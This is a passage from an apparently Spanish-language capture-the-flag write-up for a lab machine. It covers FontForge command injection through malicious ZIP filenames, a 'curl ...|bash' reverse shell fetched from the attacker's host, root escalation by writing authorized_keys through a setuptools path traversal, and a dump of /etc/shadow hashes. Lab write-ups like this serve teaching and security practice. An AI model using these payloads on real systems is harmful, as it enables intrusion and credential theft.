except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

pspy muestra que existe un cronjob que ejecuta un script similar, en este caso el codigo python con el nombre del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2026/03/20 05:16:01 CMD: UID=1000  PID=4926   | date --iso-8601=seconds 
2026/03/20 05:16:01 CMD: UID=1000  PID=4927   | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('variabype_-iAnQx7OmxM.ttf')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process variabype_-iAnQx7OmxM.ttf: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:16:01 CMD: UID=1000  PID=4928   | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('variabype_-iAnQx7OmxM.ttf')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process variabype_-iAnQx7OmxM.ttf: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:16:02 CMD: UID=1000  PID=4929   | /bin/bash /home/steve/bin/process_client_submissions.sh 
2026/03/20 05:16:02 CMD: UID=1000  PID=4930

En un commit de fontforge se indica CVE-2024-25081 & CVE-2024-25082, en este se describe el uso de la funcion system() para “descomprimir” las fuentes dentro del archivo, especificando el nombre directamente como argumento lo que llevaria a la inyeccion de comandos.

Con un script en python creamos un archivo ZIP dentro de este, un archivo en donde indicamos la ejecucion de whoami en el nombre.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import zipfile
import io

file = "font.zip"
cmd_file = "test;whoami > /dev/shm/whoami;.ttf"

with zipfile.ZipFile(file, 'w') as pzip:
    pzip.writestr(cmd_file, "dummydataaaaaaaaaaaaaaaaaaaaa")

print(f"Created {file} with command {cmd_file}.")

Se creo el archivo con el comando.

1
2
3
4
5
❯ python poc.py
Created font.zip with command test;whoami > /dev/shm/whoami;.ttf.
❯ ll font.zip
.rw-rw-r-- kali kali 181 B Fri Mar 20 03:49:00 2026  font.zip

Lo agregamos al directorio /var/www/portal.variatype.htb/public/files al cual tenemos acceso.

1
2
3
4
5
6
7
8
$ ls -lah
total 20K
drwxrwsr-x 2 www-data  www-data 4.0K Mar 20 05:55 .
drwxrwxr-x 4 root      www-data 4.0K Mar  9 08:29 ..
-rw-r--r-- 1 www-data  www-data  181 Mar 20 05:35 font.zip
-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:14 variabype_-iAnQx7OmxM.ttf
-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:36 whoami.php
$

Luego de varios segundos observamos en pspy la ejecucion de nuestro comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
2026/03/20 05:40:02 CMD: UID=1000  PID=5203   | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('normal_font.zip')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process normal_font.zip: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:40:02 CMD: UID=1000  PID=5204   | sh -c unzip -l /var/www/portal.variatype.htb/public/files/normal_font.zip > /tmp/ffarchive-5202-1/ff-archive-table-of-contents 
2026/03/20 05:40:02 CMD: UID=1000  PID=5205   | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('normal_font.zip')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process normal_font.zip: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:40:02 CMD: UID=1000  PID=5207   | sh -c ( cd /tmp/ffarchive-5202-1 ; unzip  /var/www/portal.variatype.htb/public/files/normal_font.zip   test;whoami > /dev/shm/whoami;.ttf ) > /dev/null 
2026/03/20 05:40:02 CMD: UID=1000  PID=5206   | sh -c ( cd /tmp/ffarchive-5202-1 ; unzip  /var/www/portal.variatype.htb/public/files/normal_font.zip   test;whoami > /dev/shm/whoami;.ttf ) > /dev/null 
2026/03/20 05:40:02 CMD: UID=1000  PID=5208   | whoami 
2026/03/20 05:40:02 CMD: UID=1000  PID=5209   | 
2026/03/20 05:40:02 CMD: UID=1000  PID=5210   | mv normal_font.zip /home/steve/processed_fonts/

Observamos el resultado de la ejecucion.

1
2
3
4
5
$ ls -lah /dev/shm/whoami
-rw-r--r-- 1 steve steve 6 Mar 20 05:56 /dev/shm/whoami
$ cat /dev/shm/whoami
steve
$

Modificamos el nombre del archivo para ejecucion de una shell inversa.

1
2
3
❯ python poc.py
Created font.zip with command test;curl 10.10.14.10:8000/10.10.14.10:1336|bash;.ttf.

Logrando obtener una shell como steve y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.10] from variatype.htb [10.129.255.115] 57482
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
steve
uid=1000(steve) gid=1000(steve) groups=1000(steve)
$ cd
$ cat user.txt
85e0dbaa6cd9a532d1c2f5c5b04ddb46
$

Privesc

Steve puede ejecutar como root el script install_validator.py.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ sudo -l -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/bin/python3 /opt/font-tools/install_validator.py *
$

El script realiza la descarga del plugin de una url dada en /opt/font-tools/validators.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

setuptools - Path Traversal

El script hace uso de PackageIndex de la libreria setuptools.

1
2
3
4
5
6
# ... skip ...
from setuptools.package_index import PackageIndex

# ... skip ...
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
# ... skip ...

Para esta version 78.1.0 existe la vulnerabilidad Path Traversal (CVE-2025-47273) que permite escribir archivos de forma arbitraria. Dadas ciertas circunstancias podria escalar a RCE.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
steve@variatype:~$ pip show setuptools
Name: setuptools
Version: 78.1.0
Summary: Easily download, build, install, upgrade, and uninstall Python packages
Home-page: 
Author: 
Author-email: Python Packaging Authority <distutils-sig@python.org>
License: 
Location: /usr/local/lib/python3.11/dist-packages
Requires: 
Required-by: 
steve@variatype:~$

Para esta vulnerabilidad simplemente se inicia con un slash / codificado para que el nombre del archivo sea utilizado como objetivo de escritura.
Ref. CVE-2025-47273: setuptools version 78.1.0 - Path Traversal in setuptools.package_index

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

En este caso podriamos escalar privilegios ya que el script es ejecutado como root. Generamos una clave ssh para steve.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
steve@variatype:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/steve/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 

Your identification has been saved in /home/steve/.ssh/id_rsa
Your public key has been saved in /home/steve/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:y+2Hx+ODT89rex26VW6CscupKFdHoiXneXeiCkIvYjE steve@variatype
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|                 |
|                 |
|        . + .    |
|    E . S* +.   .|
|     + o.o+ o+ooo|
|    o o =..*+oo+=|
|   . ..o.+ooB*ooo|
|       o. +B*=*+ |
+----[SHA256]-----+
steve@variatype:~$

En kali creamos el directorio root/.ssh en donde escribimos el archivo authorized_keys con el contenido de la clave publica de steve (id_rsa.pub).

1
2
3
4
❯ mkdir -p root/.ssh
❯ nano root/.ssh/authorized_keys
❯ python -m http.server 8181
Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ...

Ejecutamos el script con sudo especificando el archivo authorized_keys dentro del directorio de root. Este muestra que realizo la instalacion o escritura del archivo.

1
2
3
4
5
6
$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys"
2026-03-20 06:28:22,028 [INFO] Attempting to install plugin from: http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys
2026-03-20 06:28:22,036 [INFO] Downloading http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys
2026-03-20 06:28:22,520 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
$
1
2
3
❯ python -m http.server 8181
Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ...
10.129.255.115 - - [20/Mar/2026 04:26:05] "GET /%2froot%2f.ssh%2fauthorized_keys HTTP/1.1" 200 -

Shell

Logramos acceso root por SSH y la lectura de root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
steve@variatype:~$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:0Wqe+nNeYlUwY+F669ywmS9kPUMYXqJh5xxCxwyCapI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 20 06:29:32 2026 from 127.0.0.1
root@variatype:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@variatype:~# cat root.txt
cat root.txt
88cab92c197f15e96588384fcffc7113
root@variatype:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@variatype:~# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$U22iZC8ubVYQ.zHw0n1wN.$xTkdl7UZCG8vpE7tECH6aQZeaff07orJSL1G8gzIv9.:20427:0:99999:7:::
daemon:*:20427:0:99999:7:::
bin:*:20427:0:99999:7:::
sys:*:20427:0:99999:7:::
sync:*:20427:0:99999:7:::
games:*:20427:0:99999:7:::
man:*:20427:0:99999:7:::
lp:*:20427:0:99999:7:::
mail:*:20427:0:99999:7:::
news:*:20427:0:99999:7:::
uucp:*:20427:0:99999:7:::
proxy:*:20427:0:99999:7:::
www-data:*:20427:0:99999:7:::
backup:*:20427:0:99999:7:::
list:*:20427:0:99999:7:::
irc:*:20427:0:99999:7:::
_apt:*:20427:0:99999:7:::
nobody:*:20427:0:99999:7:::
systemd-network:!*:20427::::::
systemd-timesync:!*:20427::::::
messagebus:!:20427::::::
sshd:!:20427::::::
steve:$y$j9T$BHBlMR.4E24EbG/z0v.cD.$bjAG20MM2ica3KNyzUldva6VdTIKjk2XqP7IN0Qskh0:20427:0:99999:7:::
variatype:!:20427::::::
_laurel:!:20511::::::
root@variatype:~#
Share on

Dany Sucuc
WRITTEN BY
sckull